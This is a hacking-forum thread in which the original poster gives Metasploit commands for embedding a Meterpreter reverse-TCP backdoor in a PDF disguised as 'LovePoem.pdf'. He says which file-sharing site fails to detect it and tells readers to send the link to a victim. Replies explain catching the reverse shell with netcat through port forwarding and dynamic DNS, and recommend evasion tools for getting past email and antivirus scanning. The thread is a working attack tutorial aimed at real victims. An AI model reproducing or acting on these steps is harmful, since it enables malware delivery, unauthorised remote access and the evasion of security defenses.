

Forum:[Hack Forums](#)

Thread: [Embedding a backdoor in a PDF file \(Kali Linux\) - tutorial and questions](#)

Zer0Gravity - April 28, 2017, 12:17 pm

Hello!

In this post, I am going to tell you how I embedded a backdoor in a PDF file and uploaded onto the Internet. However, there are still some obscurities that I need YOUR help with.

1. Step: Preparation

Download a random pdf file from the internet and save it to the "root directory"
(Root directory --> Go to "places" and then "Home" and put it in there)

2. Step: Forging the backdoored file

- go to terminal and execute the command "msfconsole"
- after that, execute the command "use exploit/windows/fileformat/adobe_pdf_embedded_exe"
- after that, execute the command "set payload windows/meterpreter/reverse_tcp"
- after that, execute the command "set INFILENAME

PutTheNameOfThePdfFileAlongsideWithTheExtensionHere" so for example: set INFILENAME book.pdf

- after that, execute the command "set FILENAME DesiredOutputFileName.pdf" so for example: set FILENAME LovePoem.pdf

- after that, execute the command "set LHOST IpOfTheAttackerGoesHere(your ip)"
- after that, execute the command "exploit"

3. Step: Locating our creation

After the backdoor has been successfully embedded to the PDF file, it is stored somewhere in the machine (it tells you where after the file is generated)

Open up a terminal and execute "cd FileDestinationWithoutTheFileGoesHere"

The output of the created file was:

```
[*] Reading in '/root/book.pdf'...
[*] Parsing '/root/book.pdf'...
[*] Using 'windows/meterpreter/reverse_tcp' as payload...
[*] Parsing Successful. Creating 'LovePoem.pdf' file...
[+] LovePoem.pdf stored at /root/.msf4/local/LovePoem.pdf
```

So open up the terminal and type "cd /root/.msf4/local/"

After this command is executed, it moves our directory to the specified path.

Then, execute the command "ls" to list all the files inside the directory.

4. Step: Copying the file to desktop

After the file is located using the cd and ls commands, it has to be copied.

- Execute the command: cp /root/.msf4/local/LovePoem.pdf /root/Desktop/

5. Step: Uploading the file on the web

After the file is forged and retrieved to dekstop, it has to be uploaded to the internet.

Popular file sharing networks such as MediaFire and Gmail have recognised the infected file, but a

file sharing network called "SendSpace" didn't. You can easily upload the file there and send the link to the victim.

So now I need your help, to answer me to these questions:

1. After the victim has downloaded the file (let's assume that the antivirus hasn't detected it), how can I gain a remote access to it? (which commands do I need to execute etc.
2. How can I prevent the infected file from being detected by Gmail and Mediafire?
3. How can I prevent the infected file from being detected by the anti virus?

I appreciate all the time taken to read this post or answer any of the questions :D

Xphile - April 28, 2017, 3:26 pm

(Apr 28, 2017 12:17 PM)Zer0Gravity Wrote: [\[CITE\]](#) -snip-

First off, massive thanks for this tutorial.

I'm sure a lot of members will find use in this.

To answer your questions (to the best of my ability):

Q1: Assuming the target is not on your network, you'll need to forward your port in-order for the payload to connect back to you. (Seen as you used the 'reverse_tcp' payload)

There are plenty of tutorials on how to do this depending on your router, but here's the general idea:

1. Install and set up a DNS server (e.g. [DynDNS](#))
2. Configure your router's firewall to allow and direct inbound/outbound connections to your machine and specified port.
3. When generating your payload, set the LHOST and LPORT to whatever you used in the previous step.
4. When the reverse TCP shell executes and bounces its connection to the DNS server, it will be directed to your machine. At this point you should have netcat running, ready to catch the shell's incoming connection.

Q2 & 3: You should look into [Powershell Empire](#), the [Veil Evasion Framework](#) and [Shellter](#).

Hope this helped, OP. ?

Travelers - April 28, 2017, 7:59 pm

(Apr 28, 2017 03:26 PM)D3M0GORG0N Wrote: [\[CITE\]](#) First off, massive thanks for this tutorial.

I'm sure a lot of members will find use in this.

To answer your questions (to the best of my ability):

Q1: Assuming the target is not on your network, you'll need to forward your port in-order for the payload to connect back to you. (Seen as you used the 'reverse_tcp' payload)

There are plenty of tutorials on how to do this depending on your router, but here's the general idea:

1. Install and set up a DNS server (e.g. [DynDNS](#))
2. Configure your router's firewall to allow and direct inbound/outbound connections to your machine and specified port.
3. When generating your payload, set the LHOST and LPORT to whatever you used in the previous step.
4. When the reverse TCP shell executes and bounces its connection to the DNS server, it will be

directed to your machine. At this point you should have netcat running, ready to catch the shell's incoming connection.

Q2 & 3: You should look into [Powershell Empire](#), the [Veil Evasion Framework](#) and [Shellter](#).

Hope this helped, OP. ?

Question: I have done similar with ncat, but without the use of a DNS server. What is the reason for this? I'm genuinely curious.

If this is one of those things I should have been doing all along...ugh

Zer0Gravity - April 28, 2017, 10:43 pm

Your answers are very appreciated :D I wish I could PM you guys, but sadly need 25 posts for that soo yeah :(

Xphile - April 29, 2017, 2:55 am

(Apr 28, 2017 07:59 PM)Jinn Wrote: [\[CITE\]](#) Question: I have done similar with ncat, but without the use of a DNS server. What is the reason for this? I'm genuinely curious.

If this is one of those things I should have been doing all along...ugh

While the DNS server isn't particularly necessary, it's highly useful if you have a dynamic IP address. Obviously this would only be a problem if you wanted to use the same shell for a really long time (enough for your address to be changed).

It's like the RAT methods that are so common around here, same concept, just for a different purpose.

Hopefully I explained this well enough. ?

Travelers - April 29, 2017, 7:26 am

(Apr 29, 2017 02:55 AM)D3M0GORG0N Wrote: [\[CITE\]](#) While the DNS server isn't particularly necessary, it's highly useful if you have a dynamic IP address. Obviously this would only be a problem if you wanted to use the same shell for a really long time (enough for your address to be changed).

It's like the RAT methods that are so common around here, same concept, just for a different purpose.

Hopefully I explained this well enough. ?

Ah, yes, that does make sense. Most of the stuff I have used ncat for were very short tests of payloads and such. I never had the need for persistence in what I was doing. Thanks!

llama77 - April 29, 2017, 4:46 pm

Think I might try this out later thanks for the share!